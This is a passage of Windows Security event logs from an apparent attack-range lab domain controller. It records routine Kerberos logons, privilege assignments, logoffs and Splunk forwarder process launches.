- SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:57:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256088 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3ADA18 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 51195 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:57:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256087 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3ADA18 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:57:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256086 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3AD9D0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:57:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256085 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3AD9D0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:57:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256084 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3AD8A5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51194 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:57:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256083 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3AD8A5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:57:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256082 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd20 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:57:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256095 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11f0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:57:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256094 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb8c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:57:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256096 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11a4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:57:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256097 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x328 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:57:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256098 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa50 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:57:21 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256099 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3ADA8A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:57:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256102 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3B0526 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:57:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256101 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3B0526 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51207 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:57:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256100 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3B0526 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:58:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256103 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe2c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:58:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256105 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1128 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:58:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256104 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5c0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:58:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256106 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf6c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:58:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256107 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x548 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:58:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256108 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7ac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:58:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256109 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: 